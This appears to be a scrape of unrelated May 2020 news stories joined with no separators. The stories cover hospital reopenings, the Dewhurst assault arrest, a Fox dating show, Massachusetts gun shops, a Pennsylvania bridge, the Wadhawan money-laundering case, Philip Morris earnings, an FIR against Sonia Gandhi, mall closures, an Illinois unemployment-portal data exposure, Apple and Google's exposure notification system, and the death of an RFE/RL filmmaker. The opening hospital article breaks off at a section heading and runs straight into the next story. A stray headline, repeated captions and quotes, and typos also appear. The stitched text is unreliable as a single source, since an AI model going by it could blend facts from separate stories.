For Ochsner Health System, getting hospital staff back online to resume elective surgical and diagnostic procedures has been the easy part of reopening for non-Covid care. The challenge for the Louisiana hospital system has been getting patients to feel comfortable about coming back. "We knew several weeks ago that safety was going to be the priority for folks as they think about coming back and seeking any healthcare services, so we started thinking about how we approach that differently," explained Warner Thomas, Ochsner's CEO. Now, patients and visitors who walk through the door will undergo a temperature scan, answer questions about coronavirus symptoms, and be given a mask if they don't have one. Inside, they find waiting area chairs spaced for social distancing, receptionists behind safety partitions, and enhanced cleaning between appointments. "We've gotten very positive feedback," Thomas said. Patients "appreciate the extra precautions we're taking, and I think because of that we're seeing more folks than we anticipated coming back sooner for their medical care." This week Ochsner's outpatient and surgical procedures have bounced back to between 55% and 60% of what they were during the same time last year. They had plummeted to just 20% of normal volumes between March and April, when hospitals were required to cancel non-emergency procedures due to the coronavirus outbreak.

Demand to reschedule procedures

As states have lifted the pandemic shutdown of non-emergency procedures, hospital systems across the country are now seeing a similar rebound in demand as patients look to reschedule procedures that were canceled. During the first week of May, half of hospital administrators surveyed by health care consulting firm LEK said they'd resumed procedures at lowered volumes. By the of end of last week, more than 70% said they'd reopened for elective care at reduced volumes. "We're seeing inpatient orthopedics, cardiovascular and oncology  the three big surgeries that have the greatest level of acuity associated with them  they are working through their backlog," said Christopher Kerns, vice president at health care consulting firm Advisory Board, but he adds the outlook for new surgeries looks more uncertain. "What health system leaders are telling us is that they're feeling good about right now [but] they're concerned about 60 days from now," Kerns said.

Uncertainty beyond the backlog

Scheduling for new elective procedures usually happens about a month or two ahead of time. Executives are worried that the pipeline for new surgical referrals may not bounce back as quickly as rescheduled procedures, in part because some patients may continue to put off care due to fear. "Opening physicians' offices and clinics and assuring patients believe they are safe from COVID is truly critical," Tenet Healthcare CEO Ron Rittenmeyer told investors this week, during an RBC virtual health-care conference. Another concern is that specialist practices, which refer patients for diagnostic screening and surgery, are themselves reopening with lower patient volumes. An analysis by the Commonwealth Foundation found that patient visits at surgical and orthopedic practices have recovered this month, but are down more than 30% from normal volumes. Like hospitals, physician practices and diagnostic screening facilities now have to take extra safety precautions which could mean that they won't be able to see the same volume of patients for surgical consultations as they did before the pandemic.

Delays increase other risks
Former Texas lieutenant governor David Dewhurst said that he is 'not interested' in filing charges against his live-in girlfriend for allegedly breaking his ribs during a beat down.

The 74-year-old released a statement following the arrest of Leslie Caron, 40, who is currently being held in Harris County Jail on a charge of injury to the elderly.

'I'm not interested in filing any charges against Leslie. She's a remarkable woman with many fine attributes. I wish her all the best in life,' he said through a spokesperson, KTRK reports.

The 74-year-old released a statement following the arrest of Leslie Caron, 40, who is currently being held in Harris County Jail on a charge of injury to the elderly

"I'm not interested in filing any charges against Leslie. She's a remarkable woman with many fine attributes. I wish her all the best in life,' he said through a spokesperson

Caron was charged with injury to an elderly person, a third-degree felony in Texas. She is also accused of hitting him with a pot, scratching and biting him during a second argument days later.

Dewhurst called Houston police Tuesday when X-rays confirmed his injuries, said Mary McFaden, the division chief of family criminal law at the Harris County District Attorney's Office.

Caron was booked on $10,000 bond. McFaden said the charges might have been a misdemeanor if Dewhurst had been under the age of 65, but that the charges were elevated to a felony because of the age of the alleged victim.

Leslie Ann Caron, 40, was charged with injury to an elderly person, a third-degree felony in Texas. David Dewhurst, 74, called Houston police Tuesday when X-rays confirmed his injuries, the Harris County District Attorney's Office

Prosecutors in Houston said Wednesday that the girlfriend of former Texas Lt. Gov. David Dewhurst was arrested on charges of injuring the longtime Republican officeholder in an alleged attack that broke two of his ribs

Political fundraiser Caron allegedly kicked Dewhurst on May 13 during an argument over him not calling a business partner. She allegedly scratched and bit him during another argument a few days later, according to prosecutors.

Caron made accusations that Dewhurst had physically hurt her in the past but police could not substantiate those claims, said Dane Schiller, a spokesman for the district attorney's office.

It was not immediately clear whether Caron had an attorney. She is said to have denied the charges.

In a statement Dewhurst said: 'I'm not interested in filing any charges against Leslie. She's a remarkable woman with many fine attributes. I wish her all the best in life.'

The couple are thought to have dated for around a year. Prosecutors have the final say on charges. h

Caron allegedly kicked Dewhurst on May 13 during an argument over him not calling a business partner, and allegedly scratched and bit him during another argument a few days later, according to prosecutors

Dewhurst served 12 years as lieutenant before losing his bid for a fourth term in 2014; he also ran for U.S. Senate in 2012 but lost in a primary runoff to Ted Cruz

Approached by Houston television station KTRK on Wednesday, Dewhurst said he was doing OK but declined further comment.

Dewhurst served 12 years as lieutenant before losing his bid for a fourth term in 2014. He also ran for U.S. Senate in 2012 but lost in a primary runoff to Ted Cruz.

Dewhurst was a powerful ally of Rick Perry, who was then the Texas governor.

Together they pushed through a business-friendly agenda in the Legislature that they claimed drove a booming Texas economy, laying the groundwork for Perry's failed campaigns for the White House.
Kristy Katzmann, a woman in search of a man to start a family with, in the series premiere of Fox's reality show "Labor of Love." (Jace Downs)

Imagine youre an accomplished, attractive 41-year-old single woman who is eager to start a family. In 2020, there are options available: You could look into adoption or a sperm donor, or you could keep swiping in hopes of finding the ideal partner and co-parent.

Or, if youre Kristy Katzmann, theres reality TV.

She is the star of Labor of Love, a new dating show premiering Thursday on Fox. It follows Katzmann as she dates 15 men with the goal of selecting one to be the father of her child. Think of it as The Bachelorette set to the rhythm of a ticking biological clock.

Kristin Davis  the actress who played Charlotte York, a character who followed a circuitous path to motherhood on Sex and the City  plays the role of host and confidant. At the end of each episode, she and Katzmann review her suitors using an app. Unsuitable mates are dispatched with a singularly brutal catchphrase: I dont see us starting a family together.

There are the customarily elaborate reality-TV dates involving chocolate-covered strawberries, glamping and fireworks. But there are also challenges designed to reveal each mans strengths and weaknesses as a potential parent and partner  emphasis on reveal.

In Thursdays premiere, the fathers to be" are introduced to Katzmann at a cocktail mixer. But before they can finish their Old Fashioneds, they are asked to provide a sperm sample. The men dutifully line up outside a mobile collection center  a.k.a. trailer  go inside to do their thing, then find out how their swimmers stack up against the competition. In a later challenge, producers stage a fake bear ambush during a camping trip to test the contestants' protective instincts.

The premise of Labor of Love might initially seem shocking, especially since it comes from Fox  a network that has consistently managed to reach new lows in the genre, including Joe Millionaire (humble construction worker tricks dimwitted gold diggers) and I Wanna Marry Harry (Prince Harry lookalike tricks dimwitted gold diggers).

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But for someone like Kurtzmann, who is now 42, reality TV is also wonderfully efficient: being able to choose from 15 eligible men who say they are ready for a family (and have passed a background check) eliminates a lot of time wasted on small talk.

I think a lot of women are in the same position as me, says Katzmann, an account manager for a natural products company. So, what maybe seems outlandish at the start is actually a really relatable story. And there is so much heart and soul in the show.

Host Kristin Davis and Kristy Katzmann in the series premiere episode of "Labor of Love." (Jace Downs/Jace Downs)

Katzmann spent most of her 30s focused on her career, socializing with friends in Chicago and traveling the world. A marriage at 37 ended after six months. She had already starting seeing a fertility specialist and exploring options such as co-parenting and sperm donation when a friend sent her the casting call for Labor of Love.

I thought the baby piece would fall into place  I'd meet the right person, we'd start a family. But when I turned 40 those alarms were really going off.

Her experience is hardly unique. The average age of a first-time mother in the United States has been steadily creeping up for decades. This is particularly true for college-educated women, who are on average seven years older when their first child is born than women without college degrees, and women in major cities.

The superficial world of reality dating shows has already begun to reflect a more mature reality: The star of the now-postponed upcoming season of The Bachelorette is 39-year-old Clare Crawley, an alumna of the franchise who is 12 years older than the average lead and has spoken openly of her desire to start a family. (When she was dumped by bachelor Juan Pablo Galavis, she told him, Id never want my children having a father like you.)

Katzmann also has some prior reality TV experience: She was a contestant on The Bachelor when she was in her late 20s. That was a very different time in my life and its something I never thought I would do again. It shows you how much I believe in love.

But she was intrigued by the opportunity to date lots of men she knew were ready for a family.

I was really open to all possibilities of how this could work out, but I went into it with the intention of wanting to fall in love with a man who was also ready to start a family and we could go on that journey together, she says.

The series comes from executive producers Howard T. Owens and Ben Silverman, veterans in the unscripted space. We wanted to approach it from a perspective of female empowerment with the thought that this could be the first quote-unquote relationship show where the real relationship focuses on a woman and her desire to have a child and the men are kind of secondary, says Owens.

"Labor of Love" joins a long line of questionably premised Fox reality series, including "I Wanna Marry 'Harry,'" above, in which women competed to win the affection of Prince Harry lookalike Matthew Hicks. (Chris Raphael / Fox)

They operated from the assumption that there were plenty of men in the same place as Katzmann. We believe that men, just like women, have their own version of a biological clock. Not all men want to be 50-year-old silver foxes dating 25-year-olds.

The producers cast the eligible bachelors/fathers-to-be using dating apps as well as word of mouth. They say it was not difficult to find a bevy of single men who were eager to start a family, but the traits that make for a good partner and parent do not necessarily make for scintillating reality TV.

Katzmann was looking for someone who wanted to be a hands-on dad and was excited about their life, had confidence, had integrity, was kind, and could be a giving partner. She was absolutely concerned that reality TV might not be the best place to find someone with these traits, which is why the challenges were designed to sort out who is there for the right reasons and who is not, she says.

Stewart Gill, the chief executive of a financial tech company, had recently moved back to California from Europe and was, he says, the typical guy trying to find love on the internet, swiping right when he was approached about starring on the show. He initially turned it down, assuming reality TV was not for him. And there were moments when he had doubts.

When the sperm sample cups came out, that was the first time I was thinking, Did I make the right decision? he says. The trailer itself started swaying a little bit because the other guys were doing their thing. There was no easing into it. You meet this beautiful woman and all of a sudden its like: sperm sample.

But Katzmann was impressed by their commitment. Whether you're doing this as a man or a woman, fertility, talking about having a family, having a baby, this is very vulnerable for everyone. To do that right after meeting me on TV, I kind of fell in love with all the guys in that moment, she says.

Katzmann filmed the show early last year, and cant disclose just how  or if  her life has changed in the months since, but she speaks in glowing terms about the overall experience.

I'm really hoping that we can open doors, show women they're not alone, show women that there are still opportunities out there but that you do have to be willing to step outside the box.
The first phase of the Massachusetts reopening plan imposes no capacity restrictions on gun shops, allowing them to resume normal operations once they first implement the workplace safety standards, according to Baker administration officials.

The May 18 executive order that implements the states four-phase reopening plan states firearm retailers and shooting ranges could resume operations along with places of worship, manufacturers, construction sites and other businesses providing essential services.

Gun sellers that have implemented the safety standards are allowed to reopen with no capacity restrictions, according to the Executive Office of Housing and Economic Development. There is no industry-specific guidelines for the reopening of gun shops, meaning that those retailers can reopen as long as they first implement the safety standards.

They are not authorized to perform curbside pickups, as that option is only available to retailers whose storefronts must remain closed under the governors executive orders, according to OHED.

Gun shops were already allowed to open at limited capacity, taking no more than four appointments an hour, under a federal ruling issued May 7 by U.S. District Judge Douglas Woodlock.

Gov. Charlie Baker had ordered firearm retailers to close under his non-essential business orders and was sued by gun owners and businesses. Woodlock later said government attorneys failed to justify the reason for closing the gun shops, which are protected from the order under the Second Amendment.

The governors executive order effectively makes the ruling moot.

Firearms dealers have complied with the governors order and continue to do so, said Jason Guida, an attorney who represented the plaintiffs in the lawsuit against the Baker administration. Per the governors updated order, firearms dealers are allowed to reopen regular retail operations provided all basic safety standards are met. However, we will continue to monitor this situation to ensure the rights of our plaintiffs are not violated in the future.

Some of the businesses given the green light to reopen in the first phase were already allowed to operate with restrictions if they provided essential services. The executive order states they cannot move into the first phase, resuming non-essential work, until they have implemented the mandatory safety standards.

Among the standards are requirements to stagger employee shifts, keep employees six feet apart, make running water and soap available, frequently clean and disinfect around a workplace and respond quickly if a worker becomes infected with COVID-19. Businesses that are allowed to reopen must also develop a COVID-19 control plan and display a poster self-certifying they meet the safety standards.

Baker came under fire for shutting down a number of industries ahead of the COVID-19 surge, including recreational marijuana dispensaries and places of worship, which are protected under the First Amendment.

Baker acknowledged during an interview with WGBHs Boston Public Radio that states felt pressure from federal agencies to allow people to practice their faith in places of worship during the coronavirus.

The Department of Justice has made very clear to a number of states that the peoples ability to access church and practice their faith is a constitutional question that they are pushing people at the state level pretty hard on, he said. While I certainly want to be able to support people of faith and want people to practice their faith, I want them to do it in a responsible and safe way, and I think the guidance that we put out makes that clear."

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Georgia Has The Greatest Support In the World From EU-Carl Hartzell - GeorgianJournal
It is extremely frustrating to see Northampton County bridge 15, aka the Meadows Road Bridge, listed on the Lehigh Valley TIP list. This bridge is currently listed for replacement and not repair, despite the pleas of Lower Saucon Township officials to save the bridge.

This is a rare, 162-year-old four-arch stone-hump bridge. It is up for consideration to be placed on the National Register of Historic Places at the June 2 meeting of the Pennsylvania Historic Preservation Board. The loss of this bridge would be very devastating to the local community, which prides itself on preserving local history. Another property right up the street was just listed on the National Register  which, with the listing of the bridge, could create a historic district designation for that area.

The bridge could be saved to allow pedestrian access to the Saucon Rail Trail. Sadly, who is at fault for the demise of this unique bridge is unclear. I have advocated for years for this historic gem I grew up with. Its demise is falling on the deaf ears of Northampton County Council and County Executive Lamont McClure, PennDOT and the Lehigh Valley Planning Commission.

In order to save the bridge, please speak up during the open public comment period from now until June 16 at the Lehigh Valley Transportation Study website, or at one if the virtual public meetings. Also, join us on Facebook at SavetheMeadowsRoadBridge.

Stephanie Brown

Lower Saucon Township
A special court here on Friday



sent DHFL promoters Kapil and Dheeraj Wadhawan, arrested in connection with a money laundering probe against Yes Bank co- founder Rana Kapoor and others, to further ED custody till May 27.

The duo, arrested earlier this monthunder provisions of the Prevention of Money Laundering Act (PMLA), was produced in court on Friday at the end of their previous remand.

The Enforcement Directorate sought further custody of the Wadhawans, stating the two were not cooperating with the probe, and that there were voluminous documents with which it wanted to confront them.

Accepting ED's plea, the court extended their custody till May 27.

The Wadhawan brothers, also being probed by ED in another money laundering case linked to gangster late Iqbal Mirchi, were summoned by the agency multiple times in the Yes Bank case but they had cited the ongoing coronavirus-induced lockdown to skip the summons.

The ED has accused Kapoor, his family members and others of laundering "proceeds of crime" worth Rs 4,300 crore by receiving kickbacks in lieu of extending big loans through their bank that later allegedly turned non-performing assets.

Five vehicles of the Wadhawan brothers were seized by the ED in April after they and their family members were reported to have traveled to Mahabaleshwar from Lonavala in Maharashtra during the lockdown.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
It has been about a month since the last earnings report for Philip Morris (PM). Shares have lost about 3.6% in that time frame, underperforming the S&P 500.

Will the recent negative trend continue leading up to its next earnings release, or is Philip Morris due for a breakout? Before we dive into how investors and analysts have reacted as of late, let's take a quick look at the most recent earnings report in order to get a better handle on the important catalysts.

Philip Morris Q1 Earnings Top, View Reflects Coronavirus Woes



Philip Morris reported first-quarter 2020 results. Adjusted earnings per share of $1.21 came ahead of the Zacks Consensus Estimate of $1.13. The bottom line grew 11% year over year. On a like-for-like (LFL) basis, after excluding currency, the bottom line surged 30.1%.



Net revenues of $7,153 million beat the Zacks Consensus Estimate of $6,737 million. The top line grew 6% in the reported quarter. Net revenues, on an LFL basis and excluding currency headwinds, advanced 10%. This was backed by a favorable pricing variance and improved volume/mix. During the quarter under review, revenues from combustible products rose 1.6% to $5,598 million due to growth in most regions. Further, revenues in the RRPs improved 25.1% to $1,555 million. Total cigarette and heated tobacco unit shipment volumes dropped 1.2% to 173.7 billion units. Cigarette shipment volumes fell 4% to roughly 157 billion units in the quarter, while heated tobacco unit shipment volumes of nearly 16.7 billion units surged 45.5% year over year.



Adjusted operating income grew 11.4% to reach $2,789 million. On an LFL basis, after excluding currency, adjusted operating income improved 25.5% year over year. Adjusted operating margin expanded 1.9 points to 39%. Adjusted operating margin grew 5.1 points to 41.3% on excluding currency and on an LFL basis.



Region-Wise Performance



Net revenues in the European Union increased 17.4% to $2,535 million. Revenues grew 20.7% at cc, courtesy of favorable pricing and volume/mix. Total shipment volumes in the region rose 8.4% to 45,307 million units. In Eastern Europe, net revenues grew 36.1% to $788 million and 35.1% at cc. The upside can be attributed to favorable pricing and volume/mix. Total shipment volumes grew 17.9% to 25,785 million units. In the Middle East & Africa region, net revenues declined 5.5% (down 5.3% at cc) to $876 million due to adverse volume/mix, partly made up by favorable pricing. Further, total shipment volumes fell 10.5% to 30,466 million units.

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Revenues in South & Southeast Asia rose 12.4% (up 10.7% at cc) to $1,251 million. The upside was driven by favorable pricing variance, partly offset by adverse volume/mix. Shipment volumes declined 9.4% to 37,595 million units. Revenues from East Asia & Australia fell 5% (down 4.3% at cc) to $1,255 million due to unfavorable volume/mix, partly compensated by pricing gains. Total shipment volumes climbed 2.4% to 19,421 million units. Finally, revenues from Latin America & Canada decreased 31.3% (down 28.5% at cc) to $448 million due to adverse volume/mix, somewhat negated by improved pricing. Moreover, total shipment volumes declined 14% to 15,171 million units.



Other Financials & Developments



The company ended the quarter with cash and cash equivalents of $3,746 million. Also, it had long-term debt of $24,999 million and shareholders deficit of $11,063 million. During the quarter, Phillip Morris announced a quarterly dividend of $1.17 per share. Also, on Mar 30, the company submitted a supplemental premarket tobacco product application (PMTA) with the U.S. Food and Drug Administration for the IQOS 3 tobacco heating device.



The company delivered a solid first-quarter show, reflecting continued momentum in the smoke-free portfolio along with efficient combustible tobacco pricing. The impact of COVID-19 on the first-quarter performance was limited as it was in the early stages. However, management expects the coronavirus to have detrimental impacts on its 2020 performance. The company expects to be hurt by lower duty-free sales on account of travel restrictions. Also, with regard to the IQOS user acquisition, Phillip Morris is unable to engage with adult smokers through sales forces and retail touchpoints owing to restrictions associated with the lockdown. Though the company is utilizing digital tools, it expects the rate of new IQOS user acquisition to decline. Further, the delay in the enforcement of minimum price in Indonesia due to coronavirus-led restrictions is likely to affect the business. Apart from this, soft consumer spending resulting from unemployment may also disrupt market dynamics for a temporary period.



Given the uncertainty surrounding the severity and duration of the pandemic, management withdrew its bottom-line guidance for 2020 that was provided on Feb 6. The company has instead offered second-quarter guidance. Notably, Phillip Morris has taken several measures to keep the business going and minimize disruptions. The company is getting adequate access to inputs for its products. Most of its manufacturing facilities globally are currently running, including all heated tobacco unit factories. Some cigarette production facilities have been temporarily affected by government-imposed shutdowns or production limitations. They form about 20% of the companys total cigarette production capacity globally. Nonetheless, the company has an adequate inventory of finished products and doesnt expect an out-of-stock situation in any key operating income region. Certain emerging markets may face temporary out-of-stock situations, in case of infrastructure-related hurdles. Additionally, the company has been undertaking measures to strengthen its financial position.



Phillip Morris was anyway expecting a soft second-quarter show due to tough year-over-year comparisons, certain costs and unfavorable dynamics in Indonesia. Management now expects a further dismal performance due to the impacts of COVID-19. In fact, the second quarter is likely to bear the largest quarterly impact of coronavirus this year. In the second quarter, currency-neutral revenues are expected to fall 8-12% due to coronavirus-led hurdles, including reduced IQOS sales. Further, management expects earnings in the second quarter between $1 and $1.10 per share, including currency headwinds of about 12 cents per share. Earnings are expected to bear the brunt of distributor and trade inventory movements, lower duty-free sales and delay in minimum price enforcement in Indonesia.

How Have Estimates Been Moving Since Then?

In the past month, investors have witnessed a downward trend in estimates review. The consensus estimate has shifted -24.68% due to these changes.

VGM Scores

At this time, Philip Morris has a nice Growth Score of B, however its Momentum Score is doing a bit better with an A. However, the stock was allocated a grade of F on the value side, putting it in the lowest quintile for this investment strategy.

Overall, the stock has an aggregate VGM Score of C. If you aren't focused on one strategy, this score is the one you should be interested in.

Outlook

Estimates have been broadly trending downward for the stock, and the magnitude of these revisions indicates a downward shift. It's no surprise Philip Morris has a Zacks Rank #4 (Sell). We expect a below average return from the stock in the next few months.



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New Delhi: An FIR has been lodged against interim Congress chief Sonia Gandhi over tweets from partys official Twitter handle questioning Prime Minister Citizen Assistance and Relief in Emergency (PM-CARES) Fund.

According to reports, the FIR against Gandhi has been lodged on the basis of a complaint made by an advocate, KV Praveen, from Karnataka`s Shivamogga district in protest against the tweets from the party`s Twitter handle against PM CARES Fund).

"An FIR has been registered against Sonia Gandhi under IPC Section 153, 505 (1)(B) for the tweets against PM CARES FUND," a senior police official confirming the development, according to PTI.

In his complaint, KV Praveen has said that the tweets alleged money is not being accounted for from the PM CARES FUND and others and attempts were being made to create distrust among the masses by spreading "baseless charges."

However, the Congress central leadership has accused the BJP and Prime Minister Narendra Modi of indulging in vendetta politics after the FIR was registered in Karnataka against Sonia Gandhi for raising questions over the PM-CARES fund.

The party also hit out at the BJP government in Uttar Pradesh, alleging that was it playing dirty politics by registering a case against the party's state unit chief Ajay Kumar Lallu and arresting him twice on Wednesday.

The state unit of the party also submitted a letter in this regard to Karnataka Chief Minister Yediyurappa urging him to withdraw the FIR lodged against Gandhi. It was signed by KPCC chief DK Shivakumar.

The party also urged Chief Minister Yogi Adityanath to review his decision.

"It is extremely unfortunate that at a time like this, when the world is facing a disaster like coronavirus and where in India crores of people have lost their livelihood and are forced to walk home, instead of helping them and providing for them all that you (BJP) want to do is vendetta politics.

"You are not just misusing government machinery, you are also inciting vendetta politics. We strongly condemn this," Congress spokesperson Supriya Shrinate said at a press conference held through video conferencing on Thursday.

Shrinate said it was not just about the FIR against Sonia Gandhi, "this gives us an insight into how the BJP and Modi operates". "Even at a time like this, what is important for them is vendetta politics. This is a democracy and in a democracy opposition leaders have a basic right to ask questions," she said.

Shrinate said this was a not a question on the state of affairs, but on the PM-CARES Fund, where thousands of crores have been deposited and even with so much funds available why migrants are still forced to walk and why are people still suffering.

"Why can this money not be released... Every Indian wants to ask this question," she said.
As they gradually reopen, US shopping malls are requiring masks and implementing social distancing policies in hopes of convincing customers that they can shop safely in the coronavirus era. But these once-dominant shopping behemoths are in survival mode following lengthy pandemic shutdowns that have precipitated retail bankruptcies and stores unable to pay rent. Each day the COVID-19 crisis seemingly brings fresh carnage to the US retail landscape. The owner of lingerie chain Victoria's Secret on Thursday announced it will shutter 250 stores in the United States and Canada, and warned more closures are likely in the next two years. And Macys has projected a first-quarter loss of around $1 billion, suggesting more belt-tightening for a mall anchor store that already announced 125 store closures in February even before the coronavirus crisis. The retail industry was struggling long before COVID-19 hit, weeding out brick-and-mortar stores that were steadily losing market share to e-commerce, and that spawned a wave of mall closures and the appearance of "zombie malls" with almost no stores. Analysts expect those trends to accelerate. "Covid is pulling forward several years of retailer fallout," Green Street Advisors said in a report, predicting more than half of mall-based department stores would close by 2021. That report was published April 28, just ahead of bankruptcy announcements by J. Crew, Neiman Marcus and JC Penney. With more than 800 stores, JC Penney has been an especially important presence at US malls. Most of the locations are expected to shut down as the company reorganizes. - Wave of litigation? - Aside from the immediate financial hit from the loss of stores, malls face another drag from "co-tenancy" clauses in many leases that permit secondary mall tenants to demand rent relief when a shopping center loses multiple anchor stores. And renters also could cite "force majeure" or "Act of God" clauses in many contracts to justify non-payment of rent, potentially leading to a huge wave of litigation. Retail Properties of America, a Maryland-based real estate investment trust that owns more than 100 shopping centers and malls, collected just 52 percent of its April rent, including less than 10 percent from apparel chains, book stores and movie theaters. Shane Garrison, chief operating officer for RPAI, said the company is discussing short-term lease modifications on a tenant-by-tenant basis with restaurants -- another industry with an uncertain outlook. "To the extent that they are willing to put that foot forward and be transparent and help us understand the scope of the ask, we're certainly willing to listen," Garrison said on a May 6 earnings conference call. "To the extent they are not, we really question viability," he said. Acadia Realty Trust, a New York based mall operator, received about 50 percent of its April rent, with "essential" stores such as Target and Trader Joe's able to pay. The other 50 percent includes a number of up-and-coming brands like hip eyeglasses chain Warby Parker that are "young but exciting," said Chief Executive Kenneth Bernstein, who estimated that only five to 10 percent of the portfolio were weak "watch list" tenants. "We're finding most retailers to be realistic and reasonable," Bernstein said in a conference call this month. - Will consumers consume? - Nick Shields, a senior analyst at research consultancy Third Bridge, predicted many second- and third-tier US malls will not survive the current crisis. Better-rated malls with popular brands like Apple and Nike will do better, he predicted, though the hit to real estate companies from lost rent will be "significant." Once the economy reopens, analysts expect stores to benefit somewhat from pent-up demand from consumers who have been shut at home. But navigating through a largely empty mall with many closed stores amid an omnipresence of masks and the smell of bleach may put off some shoppers. "The big question is whether consumers are going to be willing to go back into a large inside facility anytime soon," Shields said, and it could be months or longer before consumers feel comfortable stepping into a dressing room. Sales at Mignon Faget's three Louisiana mall stores have been slower than usual since reopening earlier this month, said Chief Operating Officer Maghan Oroszi. The New Orleans jeweler has managed to offset the hit from lost brick-and-mortar sales through a spike in online sales, while a forgivable loan under the government's Paycheck Protection Program has helped it stay current on rent, Oroszi said. But the dimming employment picture has sharpened questions about whether the company needs as much of a brick-and-mortar presence. "Is there going to be another wave of economic impacts?" Oroszi said. "We may not need to so many physical stores to be able to survive."
SPRINGFIELD  The Illinois Department of Employment Security announced Friday it will notify 32,483 claimants whose personal information might have been viewed because of a glitch in the newly-launched Pandemic Unemployment Assistance portal.

In a news release, IDES said it worked to fix the glitch with Deloitte, the outside firm contracted to launch the PUA system created under federal law to give benefits to independent contractors and those who are self-employed.

IDES said the personal information of some of the 32,000-plus claimants may have been unintentionally viewed by a single claimant.

The claimant immediately reported the issue within the PUA system. Computer records confirm that no other individuals viewed claimant information, which could have included names, Social Security numbers, and street addresses associated with PUA claims, IDES said in the news release. Based on the departments investigation, it is believed that the claimant unintentionally viewed the information of a handful of other claimants and there is no indication that any personal information was, or will be, improperly used.

The department will notify the claimants possibly affected out of an abundance of caution.

Upon learning of the issue, according to a news release, IDES worked with Deloitte to quickly correct the issue and conduct an investigation and analysis.

The results confirmed that only one PUA claimant was able to inadvertently view personal identifying information of a limited number of other PUA claimants. Based on these findings, there is no indication that any personal information was improperly used nor is it likely to happen in the future, according to the press release.

Those who receive the notice will have the option to enroll in 12 months of free credit monitoring offered by Deloitte, or a free one-year membership of Experians IdentityWorks identity protection service.

Gov. J.B. Pritzker was asked about the breach during his daily briefing Friday, specifically about how anyone can be sure that only one person accessed the data.

Well, they can look at the log data, he said. But here, the IDES has been extraordinarily careful and taking extra precautions here by making sure that the contractor has provided for more than 35,000 people the ability to track their own credit reports to make sure that nothing goes wrong for them.

In its first week, the PUA system processed nearly 75,000 claims. The benefits from the program are entirely federally funded for individuals who are unemployed for specified COVID-19-related reasons and are not eligible for the states regular unemployment insurance program.

The department encourages claimants to continue to use the portal if they believe they are eligible for the benefits.

Capitol News Illinois is a nonprofit, nonpartisan news service covering state government and distributed to more than 400 newspapers statewide. It is funded primarily by the Illinois Press Foundation and the Robert R. McCormick Foundation.
Apple Inc. and Google released their Covid-19 exposure-notification tools on Wednesday, along with changes that will help public health authorities gather more information on who has the virus.

The system  called Exposure Notification  helps the authorities develop apps that notify users if they have come into contact with a person who has tested positive for the novel coronavirus. Users whove downloaded the app for their region will be able to update their status if they test positive. The iOS and Android system will then anonymously notify other users who have come into contact with that person.

User adoption is key to success and we believe that these strong privacy protections are also the best way to encourage use of these apps, Apple and Google said in a statement. Over the last several weeks, our two companies have worked together, reaching out to public health officials scientists, privacy groups and government leaders all over the world to get their input and guidance.

Some governments have criticized the system because it doesnt let authorities store data on who has the virus and track where it is spreading. Instead, it just notifies individuals if they have been exposed. This has also highlighted the privacy shortcomings of other approaches that user location data and store it on government servers.

Still, Apple and Google listed several changes to the system on Wednesday that they made after getting feedback from the U.S. Centers for Disease Control and Prevention, local health authorities and dozens of other experts.

One change lets public health authorities contact exposed users based on a combination of the API and data that users voluntarily chose to input into the app, the companies said. The API is the Application Programming Interface, the set of software tools that lets these new exposure-notification apps communicate with Apple and Googles operating systems.

Public health apps want to get additional information from users who have been exposed and reach out to them. So Apple and Google are allowing the optional collection of additional data by these apps, including ZIP codes and user phone numbers. These will only be shared if users give permission.

Each public health authority will be able to set parameters for what counts as an exposure, such as how long someone spent near another user, or how close they got. The software uses Bluetooth technology to let phones detect one another.

The system is designed to work with one app per region, such as a country or state, to avoid fragmentation. The companies said multiple U.S. states and 22 countries have requested and received access to the system. Alabama and North Dakota both said they will be using it.

The tools have been released via the iOS 13.5 update for iPhones released in the last four years, while Android phone users running Android 6.0 or later are receiving the system via a Google Play download.

Apples update also includes other features designed for the pandemic, including quicker Face ID unlocking for users wearing masks and enhancements to multi-person FaceTime video calls.
RTHK: China doesn't understand our judiciary, says Trudeau

Beijing's linking of its detention of two Canadians in China to the arrest of a Chinese executive in Vancouver shows it doesn't understand the meaning of an independent judiciary, Prime Minister Justin Trudeau said Thursday.

China detained former Canadian diplomat Michael Kovrig and businessman Michael Spavor in December 2018, nine days after the arrest on a US warrant of Huawei executive Meng Wanzhou in Vancouver.

"We've seen Chinese officials linking those two cases from the very beginning," Trudeau said.

"Canada has an independent judicial system that functions without interference or override by politicians.

"China doesn't work quite the same way and doesn't seem to understand that," he said, calling the linkage of the cases "distressing" while vowing to continue to press for the release of the two Canadians.

The arrests led to the worst ever crisis in relations between the two nations, with accusations of "arbitrary detentions" and hostage diplomacy met with trade sanctions and suspended consular visits.

Kovrig and Spavor have been held on espionage suspicions, and refused access to lawyers.

Meng, meanwhile, has been living in a Vancouver mansion after being granted bail while fighting extradition in court.

The United States is seeking to put her on trial for Huawei's alleged violations of US sanctions against Iran.

Earlier, Chinese ambassador Cong Peiwu told Global News that "competent Chinese authorities are handling the cases (of Kovrig and Spavor) according to law."

He then pivoted to Meng, saying her case was "the biggest issue in our bilateral relationship," renewing demands that she be sent back to China "smoothly and safely."

A decision in the first phase of the Meng case, which dealt with whether her alleged crimes are punishable in Canada -- a key criteria for extradition to proceed -- is expected on Wednesday.

If the judge rules against Meng, then the case will proceed to a second phase of arguments in June. (AFP)

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
PRAGUE -- Lyubov Zemtsova, 28, a Belarusian filmmaker with Radio Free Europe/Radio Libertys (RFE/RL) Current Time TV, died this morning in a hospital in Belaruss capital city, Minsk.

She suffered critical injuries in a car crash on May 14, as her film crew was returning to Minsk after spending a day in the southeastern city of Homel filming volunteers who were helping medical workers at local hospitals respond to the coronavirus. Vladimir Mikhailovski, the teams producer, and Maksim Gavrilenko, a sound engineer, were killed immediately.

WATCH: Tribute to Lyubov Zemtsova and Unknown Belarus Colleagues

RFE/RL President Jamie Fly said Zemtsovas death is a profound tragedy, for all of us at RFE/RL, for her family, and for Belarus. He said, Her work shows a deeply human connection to the people of Belarus. She managed to convey this beautifully on film. We will mourn the loss of her voice, her spirit, and the hope that she brought to her audiences and everyone who knew her.

Doctors worked for eight days to save Zemtsova, who was in a coma with multiple internal injuries and bone fractures from the crash.

Zemtsova was the director of Unknown Belarus, a series created by Current Time to capture the ordinary and exceptional stories of the people and places of Belarus, a country often known only through stereotypes and cliches. A graduate of Warsaws Wajda School Doc Pro, she was an up-and-coming documentarian whose films were screened at several festivals, including the Astra Film Festival, ArtDocFest, and Watch Docs in Belarus.

